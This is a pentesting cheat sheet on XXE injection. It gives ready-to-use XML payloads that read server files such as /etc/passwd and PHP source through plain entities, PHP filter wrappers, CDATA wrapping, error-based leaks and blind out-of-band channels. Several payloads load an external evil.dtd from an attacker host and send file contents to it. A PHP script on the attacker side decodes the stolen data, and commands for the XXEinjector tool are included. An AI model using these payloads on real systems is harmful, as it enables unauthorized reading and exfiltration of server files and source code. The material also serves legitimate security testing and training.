PRIMARY CATEGORY → XXE
Once we detect that a web application does not validate and sanitize the XML data that an HTTP client sends, we could try to define an XML External Entity in order to disclose local files on the web server
Simple XXE
e.g. file://<FILE_PATH>
We must identify which data we send is reflected in the HTTP response. After that, it’s as simple as defining an External Entity and referencing it in the given field where the data is reflected
To do so, proceed as follows
Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY bar SYSTEM "file:///etc/passwd">
]>
...<SNIP>...
<email>
&bar;
</email>PHP Filter Wrapper XXE
For PHP web applications
There are situations where the output of the specified file we are trying to list may break the XML format
So, it is mandatory to modify the data output stream to receive it in other encoding format, such as base64, ROT13 or another
For example, it applies to the PHP files, which may contain XML sensitive chars. Therefore, we can use the PHP Filter Wrapper
Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY bar SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
...<SNIP>...
<email>
&bar;
</email>CDATA XXE
Any web application other than PHP
As with the previous technique, there are other ways to extract any kind of data, which may break the XML format, apart from PHP Wrappers, which is useful when the web application does not run PHP
We can use the CDATA tag to wrapp the content of any external file reference
<![CDATA[<FILE_CONTENT>]]>This way, the XML parser would consider this part as raw data, which can contain any type of data, including any special characters
Therefore, we must define four XML Parameter Entities to build the above structure
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/index.php">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'">
%all;
]>And then, we reference the declared entity
<element>&content;</element>The problem of this approach is that it will cause an error during the XML parsing as the index.php file likely contains special chars, and with internal definitions, as is the case, the XML parser processes and validates every line, so an error will occur when the file parameter entity is expanded since it contains special chars
That’s not the case when we create an external DTD with all the above parameter entity definitions and load it using another parameter entity
The XML parser is more permissive as it processes all lines before proceed with the validation, so the %all; entity can be load in memory without any error, as there is no validation at that moment, and be referenced later
Creating an external DTD
So, as stated, we must create an external DTD to avoid any errors during the XML parsing as the parser processes all the lines and then validates them
Unlike the internal definitions, where the parser processes and validates line by line
#1
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/index.php">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">#2
echo '<!ENTITY all "%start;%file;%end;">' > evil.dtdSetting up a HTTP Server
python3 -m http.server 80Sending the XXE Payload
#1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
%dtd;
%all;
]>
...<SNIP>...
<element>&content;</element>#2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file "file:///var/www/html/index.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
%dtd;
]>
...<SNIP>...
<element>&all;</element>This technique can become very handy when the basic XXE method does not work and the web application we are dealing with does not run PHP
Error Based XXE
We will tipically be dealing with web applications that do not output any results once we send the XML data. So, we cannot control any data since no data is displayed in the response
In these cases, we are blind to the XML output, therefore we cannot retrieve any data with the previous methods
However, the web application may not have a proper exception handling for the XML input, so we can use this flaw to read the output of the XXE exploit
To do so, proceed as follows
Creating an external DTD
Once again, we have to create an external DTD to prevent errors during the process-then-validation line by line carried out by the XML parser
Remember that by creating an external DTD and referencing it from the sent payload, we ensure that the XML parser first processes all the lines and then validates them
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">Doing so, first we define a parameter entity ( %file ) that stores the content of the given file, and then we define another parameter entity ( %error )
The latter tries to define a normal entity ( content ) by using SYSTEM and referencing a non-existing entity ( %nonExistingEntity ) and the parameter entity declared previously ( %file )
Setting up an HTTP Server
python3 -m http.server 80Sending the XXE Payload
Lastly, we send the following XXE payload, which loads the external DTD and references the given entities to generate the error and subsequently retrive the content of the given file
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
%dtd;
%error;
]>Blind OOB XXE
When we talk about a Blind XXE, we should know that we do not recieve neither any output from the XML entities we define before sending the payload nor any PHP errors displayed
Manual
So, once again, due to the limitation applied to the internal subset during the XML processing carried out by the parser, where it processes the external parameter entity declaration but does not populate its content with the referenced resource, we cannot define all the parameter entity statements within the internal subset ( internal DTD ) as the parser does not support external parameter entity references within a entity declaration, such as follows
Bad ❌
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
<!ENTITY % param1 "<!ENTITY content 'http://<ATTACKER>:<PORT>/%file;>'">
%param1;
]>
<element>&content;</element>As stated, the above structure will not work as within the internal subset ( DTD ), there is an external parameter entity ( %file ) which is being referenced within the declaration of another parameter entity ( %param1 )
Therefore, in order to accomplish the Out-of-Band XXE, we must create an external DTD and set up an HTTP server hosting the given resource
Creating an External DTD
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ATTACKER_IP>:<PORT>/?content=%file;>'">Setting up an HTTP server
Before setting up the server, we will create a PHP script called index.php, which will process the given HTTP parameter and base64-decode its content
<?php
if (isset($_GET['content']))
{
print_r("\n\n" . base64_decode($_GET['content']));
} else {
die("HTTP Parameter not specified");
}Then, we set up an HTTP server
php -S 0.0.0.0:<PORT>Sending the XXE Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>:<PORT>/evil.dtd">
%dtd;
%oob;
]>
<element>&content;</element>Automatic
XXEInjector
- Setup
git clone https://github.com/enjoiz/XXEinjector XXEInjector
cd !$- Usage
Once we have cloned the git repository, we can use an HTTP proxy, such as BURP, to intercept the given request and copy its content to a file in order to pass it to the tool, such as follows
ruby XXEInjector.rb --host=<ATTACKER_IP> --httpport=<ATTACKER_PORT> --file=<REQUEST_FILE> --path=<FILE_TO_DISCLOSE> --oob=http --phpfilterBut, before running the command above, we must set up an HTTP server
php -S 0.0.0.0:<PORT>The fist command will perform an OOB XXE, like the [[#Blind OOB XXE#Manual|manual]] method
Then, we will find the output of the specified file under this path, within the tool directory
Logs/<TARGET>/<RESOURCE_FULL_PATH>.log # e.g. Logs/10.129.201.94/etc/passwd.log